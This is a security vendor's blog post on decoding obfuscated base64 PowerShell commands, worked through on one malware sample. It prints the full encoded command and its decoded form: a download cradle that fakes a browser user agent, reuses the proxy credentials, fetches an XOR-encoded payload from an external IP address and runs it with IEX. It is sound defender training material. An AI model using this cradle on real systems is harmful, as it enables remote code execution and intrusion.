The year 2016 saw an ever-increasing level of malware authors focusing on default tools built into the operating system. For example, the increase of PowerShell in use today has led many malware authors to work out interesting ways to avoid detection by encoding and obfuscating their methods. To aid security professionals in investigating PowerShell attacks, Red Canary wants to share how we have automated the decoding of encoded base64 executed commands.
To take a deeper dive into investigating PowerShell attacks, watch our webinar: PowerShell Abuse: Good Tool Gone Bad.
Red Canary analysts see thousands of PowerShell command lines every day. In one such example, we see the following:
That -Enc flag to PowerShell says we’re looking at a Base64 encoded command. (Other ways include the [Convert]::FromBase64String method and any variation of the -e, -en, -enc… -encodedcommand flags). Here’s our Base64 encoded command:
JABXAEMAPQBOAGUAdwAtAE8AYgBqAEUAYwBUACAAUwB5AFMAVABlAE0ALgBOAEUAVAAuAFcAZQBiAEMAbABpAEUATgB0ADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8ANQAuADAAIAAoAFcAaQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACAAVwBPAFcANgA0ADsAIABUAHIAaQBkAGUAbgB0AC8ANwAuADAAOwAgAHIAdgA6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUAYwBrAG8AJwA7ACQAVwBDAC4ASABlAEEARABlAFIAUwAuAEEARABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAVwBjAC4AUAByAG8AeABZACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAVAAuAFcARQBCAFIAZQBRAFUARQBzAHQAXQA6ADoARABFAEYAQQB1AEwAdABXAGUAYgBQAHIAbwBYAHkAOwAkAHcAYwAuAFAAUgBPAHgAWQAuAEMAcgBFAGQAZQBuAFQAaQBhAGwAUwAgAD0AIABbAFMAeQBzAFQAZQBtAC4ATgBFAHQALgBDAFIAZQBkAGUATgBUAEkAQQBsAEMAQQBjAEgARQBdADoAOgBEAGUARgBBAFUATABUAE4AZQB0AFcATwByAEsAQwByAGUAZABFAE4AVABpAEEAbABzADsAJABLAD0AJwBJAE0ALQBTACYAZgBBADkAWAB1AHsAWwApAHwAdwBkAFcASgBoAEMAKwAhAE4AfgB2AHEAXwAxADIATAB0AHkAJwA7ACQAaQA9ADAAOwBbAEMASABhAFIAWwBdAF0AJABCAD0AKABbAGMASABhAFIAWwBdAF0AKAAkAHcAYwAuAEQATwB3AE4ATABPAGEARABTAHQAcgBpAE4AZwAoACIAaAB0AHQAcAA6AC8ALwA5ADgALgAxADAAMwAuADEAMAAzAC4AMQA3ADAAOgA3ADQANAAzAC8AaQBuAGQAZQB4AC4AYQBzAHAAIgApACkAKQB8ACUAewAkAF8ALQBCAFgAbwBSACQASwBbACQASQArACsAJQAkAGsALgBMAEUAbgBHAFQASABdAH0AOwBJAEUAWAAgACgAJABCAC0AagBPAEkAbgAnACcAKQA=
Let’s use python to decode that:
>>> import base64 >>> decoded = base64.b64decode("JABXAEMAPQBOAGUAdwAtAE8AYgBqAEUAYwBUACAAUwB5AFMAVABlAE0ALgBOAEUAVAAuAFcAZQBiAEMAbABpAEUATgB0ADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8ANQAuADAAIAAoAFcAaQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACAAVwBPAFcANgA0ADsAIABUAHIAaQBkAGUAbgB0AC8ANwAuADAAOwAgAHIAdgA6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUAYwBrAG8AJwA7ACQAVwBDAC4ASABlAEEARABlAFIAUwAuAEEARABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAVwBjAC4AUAByAG8AeABZACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAVAAuAFcARQBCAFIAZQBRAFUARQBzAHQAXQA6ADoARABFAEYAQQB1AEwAdABXAGUAYgBQAHIAbwBYAHkAOwAkAHcAYwAuAFAAUgBPAHgAWQAuAEMAcgBFAGQAZQBuAFQAaQBhAGwAUwAgAD0AIABbAFMAeQBzAFQAZQBtAC4ATgBFAHQALgBDAFIAZQBkAGUATgBUAEkAQQBsAEMAQQBjAEgARQBdADoAOgBEAGUARgBBAFUATABUAE4AZQB0AFcATwByAEsAQwByAGUAZABFAE4AVABpAEEAbABzADsAJABLAD0AJwBJAE0ALQBTACYAZgBBADkAWAB1AHsAWwApAHwAdwBkAFcASgBoAEMAKwAhAE4AfgB2AHEAXwAxADIATAB0AHkAJwA7ACQAaQA9ADAAOwBbAEMASABhAFIAWwBdAF0AJABCAD0AKABbAGMASABhAFIAWwBdAF0AKAAkAHcAYwAuAEQATwB3AE4ATABPAGEARABTAHQAcgBpAE4AZwAoACIAaAB0AHQAcAA6AC8ALwA5ADgALgAxADAAMwAuADEAMAAzAC4AMQA3ADAAOgA3ADQANAAzAC8AaQBuAGQAZQB4AC4AYQBzAHAAIgApACkAKQB8ACUAewAkAF8ALQBCAFgAbwBSACQASwBbACQASQArACsAJQAkAGsALgBMAEUAbgBHAFQASABdAH0AOwBJAEUAWAAgACgAJABCAC0AagBPAEkAbgAnACcAKQA=") '$\x00W\x00C\x00=\x00N\x00e\x00w\x00-\x00O\x00b\x00j\x00E\x00c\x00T\x00 \x00S\x00y\x00S\x00T\x00e\x00M\x00.\x00N\x00E\x00T\x00.\x00W\x00e\x00b\x00C\x00l\x00i\x00E\x00N\x00t\x00;\x00$\x00u\x00=\x00\'\x00M\x00o\x00z\x00i\x00l\x00l\x00a\x00/\x005\x00.\x000\x00 \x00(\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00 \x00N\x00T\x00 \x006\x00.\x001\x00;\x00 \x00W\x00O\x00W\x006\x004\x00;\x00 \x00T\x00r\x00i\x00d\x00e\x00n\x00t\x00/\x007\x00.\x000\x00;\x00 \x00r\x00v\x00:\x001\x001\x00.\x000\x00)\x00 \x00l\x00i\x00k\x00e\x00 \x00G\x00e\x00c\x00k\x00o\x00\'\x00;\x00$\x00W\x00C\x00.\x00H\x00e\x00A\x00D\x00e\x00R\x00S\x00.\x00A\x00D\x00d\x00(\x00\'\x00U\x00s\x00e\x00r\x00-\x00A\x00g\x00e\x00n\x00t\x00\'\x00,\x00$\x00u\x00)\x00;\x00$\x00W\x00c\x00.\x00P\x00r\x00o\x00x\x00Y\x00 \x00=\x00 \x00[\x00S\x00y\x00s\x00t\x00e\x00m\x00.\x00N\x00e\x00T\x00.\x00W\x00E\x00B\x00R\x00e\x00Q\x00U\x00E\x00s\x00t\x00]\x00:\x00:\x00D\x00E\x00F\x00A\x00u\x00L\x00t\x00W\x00e\x00b\x00P\x00r\x00o\x00X\x00y\x00;\x00$\x00w\x00c\x00.\x00P\x00R\x00O\x00x\x00Y\x00.\x00C\x00r\x00E\x00d\x00e\x00n\x00T\x00i\x00a\x00l\x00S\x00 \x00=\x00 \x00[\x00S\x00y\x00s\x00T\x00e\x00m\x00.\x00N\x00E\x00t\x00.\x00C\x00R\x00e\x00d\x00e\x00N\x00T\x00I\x00A\x00l\x00C\x00A\x00c\x00H\x00E\x00]\x00:\x00:\x00D\x00e\x00F\x00A\x00U\x00L\x00T\x00N\x00e\x00t\x00W\x00O\x00r\x00K\x00C\x00r\x00e\x00d\x00E\x00N\x00T\x00i\x00A\x00l\x00s\x00;\x00$\x00K\x00=\x00\'\x00I\x00M\x00-\x00S\x00&\x00f\x00A\x009\x00X\x00u\x00{\x00[\x00)\x00|\x00w\x00d\x00W\x00J\x00h\x00C\x00+\x00!\x00N\x00~\x00v\x00q\x00_\x001\x002\x00L\x00t\x00y\x00\'\x00;\x00$\x00i\x00=\x000\x00;\x00[\x00C\x00H\x00a\x00R\x00[\x00]\x00]\x00$\x00B\x00=\x00(\x00[\x00c\x00H\x00a\x00R\x00[\x00]\x00]\x00(\x00$\x00w\x00c\x00.\x00D\x00O\x00w\x00N\x00L\x00O\x00a\x00D\x00S\x00t\x00r\x00i\x00N\x00g\x00(\x00"\x00h\x00t\x00t\x00p\x00:\x00/\x00/\x009\x008\x00.\x001\x000\x003\x00.\x001\x000\x003\x00.\x001\x007\x000\x00:\x007\x004\x004\x003\x00/\x00i\x00n\x00d\x00e\x00x\x00.\x00a\x00s\x00p\x00"\x00)\x00)\x00)\x00|\x00%\x00{\x00$\x00_\x00-\x00B\x00X\x00o\x00R\x00$\x00K\x00[\x00$\x00I\x00+\x00+\x00%\x00$\x00k\x00.\x00L\x00E\x00n\x00G\x00T\x00H\x00]\x00}\x00;\x00I\x00E\x00X\x00 \x00(\x00$\x00B\x00-\x00j\x00O\x00I\x00n\x00\'\x00\'\x00)\x00'
Interesting — still looks like a bunch of garbage. Look closely, however, and you will see a bunch of alphanumeric characters throughout the message, intermixed with “\x00” characters. Those are a hint that this text is actually UTF-16-LE encoded – a standard encoding for commands on Windows.
Let’s decode that text as UTF-16-LE:
>>> decoded.replace("\x00","")
'$WC=New-ObjEcT SySTeM.NET.WebCliENt;$u=\'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\';$WC.HeADeRS.ADd(\'User-Agent\',$u);$Wc.ProxY = [System.NeT.WEBReQUEst]::DEFAuLtWebProXy;$wc.PROxY.CrEdenTialS = [SysTem.NEt.CRedeNTIAlCAcHE]::DeFAULTNetWOrKCredENTiAls;$K=\'IM-S&fA9Xu{[)|wdWJhC+!N~vq_12Lty\';$i=0;[CHaR[]]$B=([cHaR[]]($wc.DOwNLOaDStriNg("http://98[.]103[.]103[.]170[:]7443/index.asp")))|%{$_-BXoR$K[$I++%$k.LEnGTH]};IEX ($B-jOIn\'\')'
(defanged)
Now we finally see an unobfuscated command line. The attacker still tried to be clever and mix the letter case of his commands (PowerShell is generally case insensitive) — so remember, defenders should almost always search case insensitively!
So what is our attacker trying to do?
First we make a .net WebClient:
'$WC=New-ObjEcT SySTeM.NET.WebCliENt;
Then fake our user agent headers to look like a Browser:
$u=\'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\'; $WC.HeADeRS.ADd(\'User-Agent\',$u);
Tell our WebClient to use the system’s default web proxy and network credentials:
$Wc.ProxY = [System.NeT.WEBReQUEst]::DEFAuLtWebProXy;
$wc.PROxY.CrEdenTialS = [SysTem.NEt.CRedeNTIAlCAcHE]::DeFAULTNetWOrKCredENTiAls;
Download and deobfuscate a string which is then executed as a command:
$K=\'IM-S&fA9Xu{[)|wdWJhC+!N~vq_12Lty\';
$i=0;
[CHaR[]]$B=([cHaR[]]($wc.DOwNLOaDStriNg("http://98.103.103[.]170:7443/index.asp")))|%{$_-BXoR$K[$I++%$k.LEnGTH]};
IEX ($B-jOIn\'\')'
There we have it: goofy casing, base64 and Windows encoded commands, and commands downloaded from text on an external web host to hide their evil. They could have at least made it a little more interesting by encoding it all with GZIP…
If you’re a Red Canary Analyst, we love you way too much to let you suffer through all that decoding by hand, so our platform does it for you:
Tools to Aid in Investigating PowerShell Attacks
Attacks like this are only going to continue in 2017. Make sure that you have the tools and resources in place to quickly detect and investigate PowerShell attacks and other potential threats. As discussed in our webinar on PowerShell abuse, we are very much in the midst of a PowerShell renaissance wherein years of PowerShell product maturity, industry research and experience, and tool development converge.
Following are just a few of the many excellent resources available:
Happy hunting!
Note: An earlier version of this post incorrectly stated that \x00 characters were NULL characters as opposed to an indication of UTF-16-LE encoded string. Thanks to our observant readers!